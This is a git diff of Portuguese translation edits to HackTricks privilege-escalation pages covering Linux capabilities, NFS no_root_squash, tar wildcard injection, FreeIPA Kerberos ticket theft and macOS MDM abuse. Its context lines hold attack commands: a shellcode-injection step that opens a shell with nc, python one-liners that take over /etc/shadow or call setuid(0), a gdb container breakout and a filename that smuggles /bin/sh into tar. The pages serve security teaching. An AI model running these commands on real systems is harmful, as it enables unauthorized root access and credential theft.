FreeIPA é uma **alternativa** de código aberto ao **Active Directory** da Microsoft, principalmente para ambientes **Unix**. Ele combina um **diretório LDAP** completo com um Centro de Distribuição de Chaves **Kerberos** da MIT para gerenciamento semelhante ao Active Directory. Utilizando o Dogtag **Certificate System** para gerenciamento de certificados CA & RA, suporta autenticação **multifatorial**, incluindo smartcards. O SSSD está integrado para processos de autenticação Unix. Saiba mais sobre isso em:
|
||||
FreeIPA é uma **alternativa** de código aberto ao **Active Directory** da Microsoft, principalmente para ambientes **Unix**. Ele combina um **diretório LDAP** completo com um Centro de Distribuição de Chaves **Kerberos** do MIT para gerenciamento semelhante ao Active Directory. Utilizando o Dogtag **Certificate System** para gerenciamento de certificados CA & RA, suporta autenticação **multifatorial**, incluindo smartcards. O SSSD está integrado para processos de autenticação Unix. Saiba mais sobre isso em:
|
||||
|
||||
{{#ref}}
|
||||
../freeipa-pentesting.md
|
||||
@ -62,7 +62,7 @@ make CONF=Release
|
||||
```
|
||||
Este procedimento tentará injetar em várias sessões, indicando sucesso ao armazenar os tickets extraídos em `/tmp` com uma convenção de nomenclatura de `__krb_UID.ccache`.
|
||||
|
||||
### Reutilização de ticket CCACHE do SSSD KCM
|
||||
### Reutilização de tickets CCACHE do SSSD KCM
|
||||
|
||||
O SSSD mantém uma cópia do banco de dados no caminho `/var/lib/sss/secrets/secrets.ldb`. A chave correspondente é armazenada como um arquivo oculto no caminho `/var/lib/sss/secrets/.secrets.mkey`. Por padrão, a chave só é legível se você tiver permissões de **root**.
|
||||
|
||||
@ -71,7 +71,7 @@ Invocar **`SSSDKCMExtractor`** com os parâmetros --database e --key irá analis
|
||||
git clone https://github.com/fireeye/SSSDKCMExtractor
|
||||
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
|
||||
```
|
||||
O **blob de cache de credenciais Kerberos pode ser convertido em um arquivo CCache Kerberos utilizável** que pode ser passado para Mimikatz/Rubeus.
|
||||
O **blob de cache de credenciais Kerberos pode ser convertido em um arquivo Kerberos CCache utilizável** que pode ser passado para Mimikatz/Rubeus.
|
||||
|
||||
### Reutilização de ticket CCACHE a partir do keytab
|
||||
```bash
|
||||
|
||||
@ -28,7 +28,7 @@ As capacidades do Linux dividem **os privilégios de root em unidades menores e
|
||||
3. **Permitted (CapPrm)**:
|
||||
|
||||
- **Propósito**: Define o conjunto máximo de capacidades que um processo pode possuir.
|
||||
- **Funcionalidade**: Um processo pode elevar uma capacidade do conjunto permitido para seu conjunto efetivo, dando-lhe a capacidade de usar essa capacidade. Ele também pode descartar capacidades de seu conjunto permitido.
|
||||
- **Funcionalidade**: Um processo pode elevar uma capacidade do conjunto permitido para seu conjunto efetivo, dando-lhe a habilidade de usar essa capacidade. Ele também pode descartar capacidades de seu conjunto permitido.
|
||||
- **Limite**: Atua como um limite superior para as capacidades que um processo pode ter, garantindo que um processo não exceda seu escopo de privilégio predefinido.
|
||||
|
||||
4. **Bounding (CapBnd)**:
|
||||
@ -55,7 +55,7 @@ Para mais informações, consulte:
|
||||
- [https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work](https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work)
|
||||
- [https://blog.ploetzli.ch/2014/understanding-linux-capabilities/](https://blog.ploetzli.ch/2014/understanding-linux-capabilities/)
|
||||
|
||||
## Capacidades de Processos & Binários
|
||||
## Capacidades de Processos e Binários
|
||||
|
||||
### Capacidades de Processos
|
||||
|
||||
@ -346,7 +346,7 @@ getcap /usr/sbin/tcpdump
|
||||
```
|
||||
### O caso especial de capacidades "vazias"
|
||||
|
||||
[Dos docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Note que é possível atribuir conjuntos de capacidades vazios a um arquivo de programa, e assim é possível criar um programa set-user-ID-root que altera o set-user-ID efetivo e salvo do processo que executa o programa para 0, mas não confere capacidades a esse processo. Ou, simplificando, se você tem um binário que:
|
||||
[Dos docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Note que é possível atribuir conjuntos de capacidades vazias a um arquivo de programa, e assim é possível criar um programa set-user-ID-root que altera o set-user-ID efetivo e salvo do processo que executa o programa para 0, mas não confere capacidades a esse processo. Ou, simplificando, se você tem um binário que:
|
||||
|
||||
1. não é possuído por root
|
||||
2. não tem bits `SUID`/`SGID` definidos
|
||||
@ -356,7 +356,7 @@ então **esse binário será executado como root**.
|
||||
|
||||
## CAP_SYS_ADMIN
|
||||
|
||||
**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** é uma capacidade Linux altamente potente, muitas vezes equiparada a um nível quase root devido aos seus extensos **privilegios administrativos**, como montar dispositivos ou manipular recursos do kernel. Embora seja indispensável para contêineres que simulam sistemas inteiros, **`CAP_SYS_ADMIN` apresenta desafios significativos de segurança**, especialmente em ambientes conteinerizados, devido ao seu potencial para escalonamento de privilégios e comprometimento do sistema. Portanto, seu uso requer avaliações de segurança rigorosas e gerenciamento cauteloso, com uma forte preferência por descartar essa capacidade em contêineres específicos de aplicativos para aderir ao **princípio do menor privilégio** e minimizar a superfície de ataque.
|
||||
**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** é uma capacidade Linux altamente potente, frequentemente equiparada a um nível quase root devido aos seus extensos **privilegios administrativos**, como montar dispositivos ou manipular recursos do kernel. Embora seja indispensável para contêineres que simulam sistemas inteiros, **`CAP_SYS_ADMIN` apresenta desafios significativos de segurança**, especialmente em ambientes conteinerizados, devido ao seu potencial para escalonamento de privilégios e comprometimento do sistema. Portanto, seu uso requer avaliações de segurança rigorosas e gerenciamento cauteloso, com uma forte preferência por descartar essa capacidade em contêineres específicos de aplicativos para aderir ao **princípio do menor privilégio** e minimizar a superfície de ataque.
|
||||
|
||||
**Exemplo com binário**
|
||||
```bash
|
||||
@ -532,7 +532,7 @@ libc.ptrace(PTRACE_DETACH, pid, None, None)
|
||||
```
|
||||
**Exemplo com binário (gdb)**
|
||||
|
||||
`gdb` com a capacidade `ptrace`:
|
||||
`gdb` com capacidade `ptrace`:
|
||||
```
|
||||
/usr/bin/gdb = cap_sys_ptrace+ep
|
||||
```
|
||||
@ -585,7 +585,7 @@ process 207009 is executing new program: /usr/bin/dash
|
||||
```
|
||||
**Exemplo com ambiente (Docker breakout) - Outro abuso do gdb**
|
||||
|
||||
Se **GDB** estiver instalado (ou você puder instalá-lo com `apk add gdb` ou `apt install gdb`, por exemplo), você pode **depurar um processo do host** e fazer com que ele chame a função `system`. (Esta técnica também requer a capacidade `SYS_ADMIN`)**.**
|
||||
Se **GDB** estiver instalado (ou você puder instalá-lo com `apk add gdb` ou `apt install gdb`, por exemplo), você pode **depurar um processo do host** e fazê-lo chamar a função `system`. (Esta técnica também requer a capacidade `SYS_ADMIN`)**.**
|
||||
```bash
|
||||
gdb -p 1234
|
||||
(gdb) call (void)system("ls")
|
||||
@ -618,7 +618,7 @@ Liste **processos** em execução no **host** `ps -eaf`
|
||||
2. Encontre um **shellcode** para a arquitetura ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))
|
||||
3. Encontre um **programa** para **injetar** o **shellcode** na memória de um processo ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c))
|
||||
4. **Modifique** o **shellcode** dentro do programa e **compile**-o `gcc inject.c -o inject`
|
||||
5. **Injete** e capture seu **shell**: `./inject 299; nc 172.17.0.1 5600`
|
||||
5. **Injete** e obtenha seu **shell**: `./inject 299; nc 172.17.0.1 5600`
|
||||
|
||||
## CAP_SYS_MODULE
|
||||
|
||||
@ -632,7 +632,7 @@ No exemplo a seguir, o binário **`python`** possui essa capacidade.
|
||||
getcap -r / 2>/dev/null
|
||||
/usr/bin/python2.7 = cap_sys_module+ep
|
||||
```
|
||||
Por padrão, o comando **`modprobe`** verifica a lista de dependências e os arquivos de mapeamento no diretório **`/lib/modules/$(uname -r)`**.\
|
||||
Por padrão, o comando **`modprobe`** verifica a lista de dependências e arquivos de mapeamento no diretório **`/lib/modules/$(uname -r)`**.\
|
||||
Para abusar disso, vamos criar uma pasta falsa **lib/modules**:
|
||||
```bash
|
||||
mkdir lib/modules -p
|
||||
@ -773,7 +773,7 @@ uid=0(root)
|
||||
gid=0(root)
|
||||
groups=0(root)
|
||||
```
|
||||
Dentro da saída anterior, você pode ver que a capacidade **DAC_READ_SEARCH** está habilitada. Como resultado, o contêiner pode **depurar processos**.
|
||||
Dentro da saída anterior, você pode ver que a capacidade **DAC_READ_SEARCH** está habilitada. Como resultado, o contêiner pode **debugar processos**.
|
||||
|
||||
Você pode aprender como a seguinte exploração funciona em [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3), mas em resumo, **CAP_DAC_READ_SEARCH** não apenas nos permite percorrer o sistema de arquivos sem verificações de permissão, mas também remove explicitamente quaisquer verificações para _**open_by_handle_at(2)**_ e **pode permitir que nosso processo acesse arquivos sensíveis abertos por outros processos**.
|
||||
|
||||
@ -1122,7 +1122,7 @@ Para escapar do contêiner docker, você poderia **baixar** os arquivos `/etc/sh
|
||||
|
||||
**Exemplo com binário**
|
||||
|
||||
Vamos supor que o **`python`** binário tenha essa capacidade, você pode **mudar** o **proprietário** do arquivo **shadow**, **mudar a senha do root** e escalar privilégios:
|
||||
Vamos supor que o binário **`python`** tenha essa capacidade, você pode **mudar** o **proprietário** do arquivo **shadow**, **mudar a senha do root** e escalar privilégios:
|
||||
```bash
|
||||
python -c 'import os;os.chown("/etc/shadow",1000,1000)'
|
||||
```
|
||||
@ -1146,7 +1146,7 @@ python -c 'import os;os.chmod("/etc/shadow",0666)
|
||||
|
||||
**Exemplo com binário**
|
||||
|
||||
Se o python tiver essa **capacidade**, você pode abusar dela muito facilmente para escalar privilégios para root:
|
||||
Se o python tiver essa **capacidade**, você pode facilmente abusar dela para escalar privilégios para root:
|
||||
```python
|
||||
import os
|
||||
os.setuid(0)
|
||||
@ -1297,7 +1297,7 @@ electron-cef-chromium-debugger-abuse.md
|
||||
|
||||
**Exemplo com binário**
|
||||
|
||||
Se **`python`** tiver essa capacidade, ele poderá escutar em qualquer porta e até se conectar a qualquer outra porta (alguns serviços requerem conexões de portas com privilégios específicos)
|
||||
Se **`python`** tiver essa capacidade, ele poderá escutar em qualquer porta e até se conectar a qualquer outra porta (alguns serviços exigem conexões de portas privilegiadas específicas)
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Listen"}}
|
||||
@ -1313,7 +1313,7 @@ print(output)
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Conectar"}}
|
||||
{{#tab name="Connect"}}
|
||||
```python
|
||||
import socket
|
||||
s=socket.socket()
|
||||
@ -1325,7 +1325,7 @@ s.connect(('10.10.10.10',500))
|
||||
|
||||
## CAP_NET_RAW
|
||||
|
||||
A capacidade [**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite que processos **criem sockets RAW e PACKET**, permitindo que gerem e enviem pacotes de rede arbitrários. Isso pode levar a riscos de segurança em ambientes containerizados, como spoofing de pacotes, injeção de tráfego e contorno de controles de acesso à rede. Atores maliciosos poderiam explorar isso para interferir no roteamento de containers ou comprometer a segurança da rede do host, especialmente sem proteções adequadas de firewall. Além disso, **CAP_NET_RAW** é crucial para containers privilegiados suportarem operações como ping via solicitações RAW ICMP.
|
||||
A capacidade [**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite que processos **criem sockets RAW e PACKET**, permitindo que gerem e enviem pacotes de rede arbitrários. Isso pode levar a riscos de segurança em ambientes containerizados, como spoofing de pacotes, injeção de tráfego e contorno de controles de acesso à rede. Atores maliciosos poderiam explorar isso para interferir no roteamento de containers ou comprometer a segurança da rede do host, especialmente sem proteções adequadas de firewall. Além disso, **CAP_NET_RAW** é crucial para containers privilegiados suportarem operações como ping via solicitações ICMP RAW.
|
||||
|
||||
**Isso significa que é possível monitorar o tráfego.** Você não pode escalar privilégios diretamente com essa capacidade.
|
||||
|
||||
@ -1336,7 +1336,7 @@ Se o binário **`tcpdump`** tiver essa capacidade, você poderá usá-lo para ca
|
||||
getcap -r / 2>/dev/null
|
||||
/usr/sbin/tcpdump = cap_net_raw+ep
|
||||
```
|
||||
Note que se o **ambiente** estiver concedendo essa capacidade, você também pode usar **`tcpdump`** para capturar tráfego.
|
||||
Observe que se o **ambiente** estiver concedendo essa capacidade, você também pode usar **`tcpdump`** para capturar tráfego.
|
||||
|
||||
**Exemplo com binário 2**
|
||||
|
||||
@ -1386,7 +1386,7 @@ count=count+1
|
||||
```
|
||||
## CAP_NET_ADMIN + CAP_NET_RAW
|
||||
|
||||
[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) a capacidade concede ao detentor o poder de **alterar configurações de rede**, incluindo configurações de firewall, tabelas de roteamento, permissões de soquete e configurações de interface de rede dentro dos namespaces de rede expostos. Também permite ativar o **modo promíscuo** nas interfaces de rede, permitindo a captura de pacotes entre namespaces.
|
||||
A capacidade [**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) concede ao detentor o poder de **alterar configurações de rede**, incluindo configurações de firewall, tabelas de roteamento, permissões de soquete e configurações de interface de rede dentro dos namespaces de rede expostos. Também permite ativar o **modo promíscuo** nas interfaces de rede, permitindo a captura de pacotes entre namespaces.
|
||||
|
||||
**Exemplo com binário**
|
||||
|
||||
@ -1458,7 +1458,7 @@ Além disso, **CAP_SYSLOG** permite acessar a saída de `dmesg` quando `dmesg_re
|
||||
|
||||
## CAP_MKNOD
|
||||
|
||||
[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) estende a funcionalidade da chamada de sistema `mknod` além de criar arquivos regulares, FIFOs (pipes nomeados) ou sockets de domínio UNIX. Ele permite especificamente a criação de arquivos especiais, que incluem:
|
||||
[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) estende a funcionalidade da chamada de sistema `mknod` além de criar arquivos regulares, FIFOs (tubos nomeados) ou sockets de domínio UNIX. Ele permite especificamente a criação de arquivos especiais, que incluem:
|
||||
|
||||
- **S_IFCHR**: Arquivos especiais de caractere, que são dispositivos como terminais.
|
||||
- **S_IFBLK**: Arquivos especiais de bloco, que são dispositivos como discos.
|
||||
@ -1506,7 +1506,7 @@ Esta abordagem permite que o usuário padrão acesse e potencialmente leia dados
|
||||
|
||||
**CAP_SETPCAP** permite que um processo **altere os conjuntos de capacidades** de outro processo, permitindo a adição ou remoção de capacidades dos conjuntos efetivos, herdáveis e permitidos. No entanto, um processo só pode modificar capacidades que possui em seu próprio conjunto permitido, garantindo que não possa elevar os privilégios de outro processo além dos seus próprios. Atualizações recentes do kernel apertaram essas regras, restringindo `CAP_SETPCAP` a apenas diminuir as capacidades dentro de seu próprio conjunto permitido ou dos conjuntos permitidos de seus descendentes, visando mitigar riscos de segurança. O uso requer ter `CAP_SETPCAP` no conjunto efetivo e as capacidades alvo no conjunto permitido, utilizando `capset()` para modificações. Isso resume a função central e as limitações de `CAP_SETPCAP`, destacando seu papel na gestão de privilégios e no aprimoramento da segurança.
|
||||
|
||||
**`CAP_SETPCAP`** é uma capacidade do Linux que permite que um processo **modifique os conjuntos de capacidades de outro processo**. Ela concede a habilidade de adicionar ou remover capacidades dos conjuntos de capacidades efetivas, herdáveis e permitidas de outros processos. No entanto, existem certas restrições sobre como essa capacidade pode ser usada.
|
||||
**`CAP_SETPCAP`** é uma capacidade do Linux que permite que um processo **modifique os conjuntos de capacidades de outro processo**. Ela concede a capacidade de adicionar ou remover capacidades dos conjuntos de capacidades efetivas, herdáveis e permitidas de outros processos. No entanto, existem certas restrições sobre como essa capacidade pode ser usada.
|
||||
|
||||
Um processo com `CAP_SETPCAP` **só pode conceder ou remover capacidades que estão em seu próprio conjunto de capacidades permitido**. Em outras palavras, um processo não pode conceder uma capacidade a outro processo se não tiver essa capacidade. Essa restrição impede que um processo eleve os privilégios de outro processo além do seu próprio nível de privilégio.
|
||||
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## Squashing Basic Info
|
||||
|
||||
O NFS geralmente (especialmente no Linux) confia no `uid` e `gid` indicados pelo cliente que se conecta para acessar os arquivos (se o kerberos não for usado). No entanto, existem algumas configurações que podem ser definidas no servidor para **mudar esse comportamento**:
|
||||
O NFS geralmente (especialmente no linux) confia no `uid` e `gid` indicados pelo cliente que se conecta para acessar os arquivos (se o kerberos não for usado). No entanto, existem algumas configurações que podem ser definidas no servidor para **mudar esse comportamento**:
|
||||
|
||||
- **`all_squash`**: Ele reduz todos os acessos mapeando todos os usuários e grupos para **`nobody`** (65534 não assinado / -2 assinado). Portanto, todos são `nobody` e nenhum usuário é utilizado.
|
||||
- **`all_squash`**: Ele reduz todos os acessos mapeando todos os usuários e grupos para **`nobody`** (65534 unsigned / -2 signed). Portanto, todos são `nobody` e nenhum usuário é utilizado.
|
||||
- **`root_squash`/`no_all_squash`**: Este é o padrão no Linux e **apenas reduz o acesso com uid 0 (root)**. Portanto, qualquer `UID` e `GID` são confiáveis, mas `0` é reduzido para `nobody` (então nenhuma impersonação de root é possível).
|
||||
- **``no_root_squash`**: Esta configuração, se habilitada, não reduz nem mesmo o usuário root. Isso significa que se você montar um diretório com essa configuração, pode acessá-lo como root.
|
||||
- **`no_root_squash`**: Esta configuração, se habilitada, não reduz nem mesmo o usuário root. Isso significa que se você montar um diretório com essa configuração, poderá acessá-lo como root.
|
||||
|
||||
No arquivo **/etc/exports**, se você encontrar algum diretório que está configurado como **no_root_squash**, então você pode **acessar** a partir de **um cliente** e **escrever dentro** desse diretório **como** se você fosse o **root** local da máquina.
|
||||
|
||||
@ -23,9 +23,9 @@ Para mais informações sobre **NFS**, consulte:
|
||||
### Remote Exploit
|
||||
|
||||
Opção 1 usando bash:
|
||||
- **Montando esse diretório** em uma máquina cliente e **como root copiando** dentro da pasta montada o binário **/bin/bash** e dando a ele direitos **SUID**, e **executando a partir da máquina vítima** esse binário bash.
|
||||
- **Montando esse diretório** em uma máquina cliente, e **como root copiando** dentro da pasta montada o binário **/bin/bash** e dando a ele direitos **SUID**, e **executando a partir da máquina vítima** esse binário bash.
|
||||
- Observe que para ser root dentro do compartilhamento NFS, **`no_root_squash`** deve estar configurado no servidor.
|
||||
- No entanto, se não estiver habilitado, você pode escalar para outro usuário copiando o binário para o compartilhamento NFS e dando a ele a permissão SUID como o usuário para o qual deseja escalar.
|
||||
- No entanto, se não estiver habilitado, você pode escalar para outro usuário copiando o binário para o compartilhamento NFS e dando a ele a permissão SUID como o usuário para o qual você deseja escalar.
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
mkdir /tmp/pe
|
||||
@ -57,10 +57,10 @@ cd <SHAREDD_FOLDER>
|
||||
### Exploit Local
|
||||
|
||||
> [!TIP]
|
||||
> Note que se você puder criar um **túnel da sua máquina para a máquina da vítima, ainda poderá usar a versão Remota para explorar essa escalada de privilégio, tunelando as portas necessárias**.\
|
||||
> O seguinte truque é caso o arquivo `/etc/exports` **indique um IP**. Nesse caso, você **não poderá usar** de forma alguma o **exploit remoto** e precisará **abusar desse truque**.\
|
||||
> Note que se você puder criar um **túnel da sua máquina para a máquina da vítima, você ainda pode usar a versão Remota para explorar essa escalada de privilégio tunelando as portas necessárias**.\
|
||||
> O seguinte truque é caso o arquivo `/etc/exports` **indique um IP**. Nesse caso, você **não poderá usar** em nenhum caso o **exploit remoto** e precisará **abusar desse truque**.\
|
||||
> Outro requisito necessário para que o exploit funcione é que **a exportação dentro de `/etc/export`** **deve estar usando a flag `insecure`**.\
|
||||
> --_Não tenho certeza se, caso `/etc/export` esteja indicando um endereço IP, esse truque funcionará_--
|
||||
> --_Não tenho certeza se, caso `/etc/export` indique um endereço IP, esse truque funcionará_--
|
||||
|
||||
### Informações Básicas
|
||||
|
||||
@ -68,7 +68,7 @@ O cenário envolve explorar um compartilhamento NFS montado em uma máquina loca
|
||||
|
||||
#### Compilando a Biblioteca
|
||||
|
||||
Os passos de compilação da biblioteca podem exigir ajustes com base na versão do kernel. Neste caso específico, as syscalls fallocate foram comentadas. O processo de compilação envolve os seguintes comandos:
|
||||
Os passos de compilação da biblioteca podem exigir ajustes com base na versão do kernel. Neste caso específico, as chamadas de sistema fallocate foram comentadas. O processo de compilação envolve os seguintes comandos:
|
||||
```bash
|
||||
./bootstrap
|
||||
./configure
|
||||
|
||||
@ -41,7 +41,7 @@ Uma vez que o root executa, por exemplo, `tar -czf /root/backup.tgz *`, `shell.s
|
||||
|
||||
### bsdtar / macOS 14+
|
||||
|
||||
O `tar` padrão em versões recentes do macOS (baseado em `libarchive`) *não* implementa `--checkpoint`, mas você ainda pode alcançar a execução de código com a flag **--use-compress-program** que permite especificar um compressor externo.
|
||||
O `tar` padrão em versões recentes do macOS (baseado em `libarchive`) *não* implementa `--checkpoint`, mas você ainda pode conseguir a execução de código com a flag **--use-compress-program** que permite especificar um compressor externo.
|
||||
```bash
|
||||
# macOS example
|
||||
touch "--use-compress-program=/bin/sh"
|
||||
@ -90,7 +90,7 @@ Injete a flag através de um nome de arquivo elaborado e aguarde o script de bac
|
||||
|
||||
---
|
||||
|
||||
## Binaries adicionais vulneráveis à injeção de wildcard (lista rápida de 2023-2025)
|
||||
## Binaries adicionais vulneráveis à injeção de wildcard (lista rápida 2023-2025)
|
||||
|
||||
Os seguintes comandos foram abusados em CTFs modernos e em ambientes reais. O payload é sempre criado como um *nome de arquivo* dentro de um diretório gravável que será processado posteriormente com um wildcard:
|
||||
|
||||
|
||||
@ -2,6 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Abusando de MDMs
|
||||
|
||||
- JAMF Pro: `jamf checkJSSConnection`
|
||||
@ -11,6 +12,7 @@ Se você conseguir **comprometer credenciais de administrador** para acessar a p
|
||||
|
||||
Para red teaming em ambientes MacOS, é altamente recomendável ter algum entendimento de como os MDMs funcionam:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
macos-mdm/
|
||||
{{#endref}}
|
||||
@ -23,13 +25,13 @@ Para executar seu próprio MDM, você precisa que **seu CSR seja assinado por um
|
||||
|
||||
No entanto, para instalar um aplicativo em um dispositivo inscrito, você ainda precisa que ele seja assinado por uma conta de desenvolvedor... no entanto, após a inscrição no MDM, o **dispositivo adiciona o certificado SSL do MDM como uma CA confiável**, então você pode agora assinar qualquer coisa.
|
||||
|
||||
Para inscrever o dispositivo em um MDM, você precisa instalar um arquivo **`mobileconfig`** como root, que pode ser entregue via um arquivo **pkg** (você pode compactá-lo em zip e, ao ser baixado do Safari, ele será descompactado).
|
||||
Para inscrever o dispositivo em um MDM, você precisa instalar um arquivo **`mobileconfig`** como root, que pode ser entregue via um arquivo **pkg** (você pode compactá-lo em zip e, quando baixado do safari, ele será descompactado).
|
||||
|
||||
**Mythic agent Orthrus** usa essa técnica.
|
||||
|
||||
### Abusando do JAMF PRO
|
||||
|
||||
O JAMF pode executar **scripts personalizados** (scripts desenvolvidos pelo sysadmin), **payloads nativos** (criação de conta local, definir senha EFI, monitoramento de arquivos/processos...) e **MDM** (configurações de dispositivo, certificados de dispositivo...).
|
||||
JAMF pode executar **scripts personalizados** (scripts desenvolvidos pelo sysadmin), **payloads nativos** (criação de conta local, definir senha EFI, monitoramento de arquivos/processos...) e **MDM** (configurações de dispositivo, certificados de dispositivo...).
|
||||
|
||||
#### Auto-inscrição do JAMF
|
||||
|
||||
|
||||
File diff suppressed because one or more lines are too long
@ -71,7 +71,7 @@ macos-security-protections/
|
||||
|
||||
### Permissões de Arquivo
|
||||
|
||||
Se um **processo executado como root escreve** um arquivo que pode ser controlado por um usuário, o usuário pode abusar disso para **escalar privilégios**.\
|
||||
Se um **processo executando como root escreve** um arquivo que pode ser controlado por um usuário, o usuário pode abusar disso para **escalar privilégios**.\
|
||||
Isso pode ocorrer nas seguintes situações:
|
||||
|
||||
- O arquivo usado já foi criado por um usuário (pertencente ao usuário)
|
||||
|
||||
@ -12,7 +12,7 @@ Versão de código aberto do XNU: [https://opensource.apple.com/source/xnu/](htt
|
||||
|
||||
### Mach
|
||||
|
||||
Mach é um **microkernel** projetado para ser **compatível com UNIX**. Um de seus princípios de design chave foi **minimizar** a quantidade de **código** executando no espaço do **núcleo** e, em vez disso, permitir que muitas funções típicas do núcleo, como sistema de arquivos, rede e I/O, **executem como tarefas de nível de usuário**.
|
||||
Mach é um **microkernel** projetado para ser **compatível com UNIX**. Um de seus princípios de design chave era **minimizar** a quantidade de **código** executando no espaço do **núcleo** e, em vez disso, permitir que muitas funções típicas do núcleo, como sistema de arquivos, rede e I/O, **executem como tarefas de nível de usuário**.
|
||||
|
||||
No XNU, Mach é **responsável por muitas das operações críticas de baixo nível** que um núcleo normalmente lida, como agendamento de processador, multitarefa e gerenciamento de memória virtual.
|
||||
|
||||
@ -27,9 +27,9 @@ O **núcleo** XNU também **incorpora** uma quantidade significativa de código
|
||||
- Pilha TCP/IP e sockets
|
||||
- Firewall e filtragem de pacotes
|
||||
|
||||
Entender a interação entre BSD e Mach pode ser complexo, devido aos seus diferentes frameworks conceituais. Por exemplo, o BSD usa processos como sua unidade fundamental de execução, enquanto Mach opera com base em threads. Essa discrepância é reconciliada no XNU **associando cada processo BSD a uma tarefa Mach** que contém exatamente uma thread Mach. Quando a chamada de sistema fork() do BSD é usada, o código BSD dentro do núcleo utiliza funções Mach para criar uma tarefa e uma estrutura de thread.
|
||||
Entender a interação entre BSD e Mach pode ser complexo, devido aos seus diferentes frameworks conceituais. Por exemplo, o BSD usa processos como sua unidade fundamental de execução, enquanto Mach opera com base em threads. Essa discrepância é reconciliada no XNU **associando cada processo BSD a uma tarefa Mach** que contém exatamente uma thread Mach. Quando a chamada de sistema fork() do BSD é usada, o código BSD dentro do núcleo utiliza funções Mach para criar uma estrutura de tarefa e thread.
|
||||
|
||||
Além disso, **Mach e BSD mantêm modelos de segurança diferentes**: o modelo de segurança de **Mach** é baseado em **direitos de porta**, enquanto o modelo de segurança do BSD opera com base em **propriedade de processos**. Disparidades entre esses dois modelos ocasionalmente resultaram em vulnerabilidades de escalonamento de privilégios local. Além das chamadas de sistema típicas, também existem **traps Mach que permitem que programas de espaço de usuário interajam com o núcleo**. Esses diferentes elementos juntos formam a arquitetura híbrida multifacetada do núcleo do macOS.
|
||||
Além disso, **Mach e BSD mantêm diferentes modelos de segurança**: o modelo de segurança de **Mach** é baseado em **direitos de porta**, enquanto o modelo de segurança do BSD opera com base em **propriedade de processos**. Disparidades entre esses dois modelos ocasionalmente resultaram em vulnerabilidades de escalonamento de privilégios locais. Além das chamadas de sistema típicas, também existem **traps Mach que permitem que programas de espaço de usuário interajam com o núcleo**. Esses diferentes elementos juntos formam a arquitetura híbrida multifacetada do núcleo do macOS.
|
||||
|
||||
### I/O Kit - Drivers
|
||||
|
||||
|
||||
@ -19,7 +19,7 @@ Um processo também pode enviar um nome de porta com alguns direitos **para uma
|
||||
Os direitos de porta, que definem quais operações uma tarefa pode realizar, são fundamentais para essa comunicação. Os possíveis **direitos de porta** são ([definições daqui](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
- **Direito de Receber**, que permite receber mensagens enviadas para a porta. As portas Mach são filas MPSC (múltiplos produtores, um único consumidor), o que significa que pode haver apenas **um direito de receber para cada porta** em todo o sistema (diferente de pipes, onde múltiplos processos podem manter descritores de arquivo para a extremidade de leitura de um pipe).
|
||||
- Uma **tarefa com o Direito de Receber** pode receber mensagens e **criar Direitos de Enviar**, permitindo que envie mensagens. Originalmente, apenas a **própria tarefa tem o Direito de Receber sobre sua porta**.
|
||||
- Uma **tarefa com o Direito de Receber** pode receber mensagens e **criar Direitos de Envio**, permitindo que envie mensagens. Originalmente, apenas a **própria tarefa tem o Direito de Receber sobre sua porta**.
|
||||
- **Direito de Enviar**, que permite enviar mensagens para a porta.
|
||||
- O Direito de Enviar pode ser **clonado**, de modo que uma tarefa que possui um Direito de Enviar pode clonar o direito e **concedê-lo a uma terceira tarefa**.
|
||||
- **Direito de Enviar uma vez**, que permite enviar uma mensagem para a porta e depois desaparece.
|
||||
@ -39,11 +39,11 @@ As portas de arquivo permitem encapsular descritores de arquivo em portas Mac (u
|
||||
Como mencionado, para estabelecer o canal de comunicação, o **servidor de inicialização** (**launchd** no mac) está envolvido.
|
||||
|
||||
1. A tarefa **A** inicia uma **nova porta**, obtendo um **direito de RECEBER** no processo.
|
||||
2. A tarefa **A**, sendo a detentora do direito de RECEBER, **gera um direito de ENVIAR para a porta**.
|
||||
3. A tarefa **A** estabelece uma **conexão** com o **servidor de inicialização**, fornecendo o **nome do serviço da porta** e o **direito de ENVIAR** através de um procedimento conhecido como registro de inicialização.
|
||||
4. A tarefa **B** interage com o **servidor de inicialização** para executar uma **busca de inicialização pelo nome do serviço**. Se bem-sucedida, o **servidor duplica o direito de ENVIAR** recebido da Tarefa A e **transmite para a Tarefa B**.
|
||||
5. Ao adquirir um direito de ENVIAR, a Tarefa **B** é capaz de **formular** uma **mensagem** e enviá-la **para a Tarefa A**.
|
||||
6. Para uma comunicação bidirecional, geralmente a tarefa **B** gera uma nova porta com um direito de **RECEBER** e um direito de **ENVIAR**, e concede o **direito de ENVIAR à Tarefa A** para que ela possa enviar mensagens para a TAREFA B (comunicação bidirecional).
|
||||
2. A tarefa **A**, sendo a detentora do direito de RECEBER, **gera um direito de ENVIO para a porta**.
|
||||
